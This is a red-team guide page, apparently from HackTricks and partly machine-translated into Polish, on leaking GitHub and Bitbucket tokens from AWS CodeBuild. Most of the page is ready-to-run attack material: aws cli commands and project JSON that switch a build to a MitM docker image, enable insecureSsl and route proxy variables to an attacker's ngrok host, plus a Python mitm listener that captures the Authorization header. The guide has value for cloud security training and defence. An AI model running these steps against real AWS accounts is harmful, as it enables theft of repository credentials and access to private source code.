AWS Codebuild - Token Leakage

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Recover Github/Bitbucket Configured Tokens

Najpierw sprawdź, czy są skonfigurowane jakieś poświadczenia źródłowe, które możesz leak:

aws codebuild list-source-credentials

Przez Docker Image

Jeśli stwierdzisz, że w koncie skonfigurowane jest uwierzytelnienie np. do Github, możesz exfiltrate ten access (GH token or OAuth token) zmuszając Codebuild do use an specific docker image do uruchomienia builda projektu.

W tym celu możesz create a new Codebuild project lub zmienić environment istniejącego, aby ustawić Docker image.

Docker image, którego możesz użyć, to https://github.com/carlospolop/docker-mitm. To bardzo podstawowy Docker image, który ustawi env variables https_proxy, http_proxy i SSL_CERT_FILE. Pozwoli to przechwycić większość ruchu hosta wskazanego w https_proxy i http_proxy oraz zaufać certyfikatowi SSL wskazanemu w SSL_CERT_FILE.

  1. Create & Upload your own Docker MitM image
  • Postępuj zgodnie z instrukcjami w repo, aby ustawić adres IP proxy, skonfigurować certyfikat SSL i build the docker image.
  • DO NOT SET http_proxy — aby nie przechwytywać żądań do metadata endpoint.
  • Możesz użyć ngrok, np. ngrok tcp 4444, aby ustawić proxy na swój host.
  • Gdy obraz Docker będzie zbudowany, upload it to a public repo (Dockerhub, ECR…)
  1. Set the environment
  • Utwórz new Codebuild project lub modify environment istniejącego.
  • Ustaw projekt, aby używał previously generated Docker image
  1. Set the MitM proxy in your host
  • Jak wskazano w Github repo, możesz użyć czegoś takiego:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

Użyta wersja mitmproxy to 9.0.1, zgłoszono, że w wersji 10 może to nie działać.

  1. Uruchom build & przechwyć poświadczenia
  • Możesz zobaczyć token w nagłówku Authorization:

Można to również zrobić z aws cli przy użyciu czegoś takiego

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Poprzez insecureSSL

Codebuild projects mają ustawienie o nazwie insecureSsl, które jest ukryte w interfejsie webowym — można je zmienić tylko przez API.
Włączenie tego pozwala Codebuild na połączenie z repozytorium bez sprawdzania certyfikatu oferowanego przez platformę.

  • Najpierw musisz wyenumerować aktualną konfigurację poleceniem takim jak:
aws codebuild batch-get-projects --name <proj-name>
  • Następnie, mając zebrane informacje, możesz zaktualizować ustawienie projektu insecureSsl na True. Poniżej przykład aktualizacji projektu — zwróć uwagę na insecureSsl=True na końcu (to jedyna rzecz, którą musisz zmienić w zebranej konfiguracji).
  • Dodatkowo dodaj też zmienne środowiskowe http_proxy i https_proxy wskazujące na twój tcp ngrok, np.:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Na koniec kliknij Zbuduj projekt, poświadczenia zostaną wysłane w postaci jawnego tekstu (base64) do portu mitm:

Via HTTP protocol

[!TIP] > Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 (chyba w piątek). Więc atakujący nie może już jej wykorzystywać :)

Atakujący z podwyższonymi uprawnieniami w ramach CodeBuild może leak the Github/Bitbucket token skonfigurowany lub, jeśli uprawnienia były skonfigurowane przez OAuth, tymczasowy token OAuth używany do dostępu do kodu.

  • Atakujący może dodać zmienne środowiskowe http_proxy i https_proxy do projektu CodeBuild wskazując na swoją maszynę (na przykład http://5.tcp.eu.ngrok.io:14972).
  • Następnie zmień URL repozytorium github, aby używał HTTP zamiast HTTPS, na przykład: http://github.com/carlospolop-forks/TestActions
  • Następnie uruchom podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Następnie kliknij Build the project lub uruchom build z linii poleceń:
aws codebuild start-build --project-name <proj-name>
  • Finally, the credentials will be sent in clear text (base64) to the mitm port:

Warning

Teraz atakujący będzie mógł użyć tokena ze swojej maszyny, wypisać wszystkie przywileje, które posiada, i (ab)use łatwiej niż używając usługi CodeBuild bezpośrednio.

Untrusted PR execution via webhook filter misconfiguration

Dla łańcucha obejścia webhook wyzwalanego PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), sprawdź:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks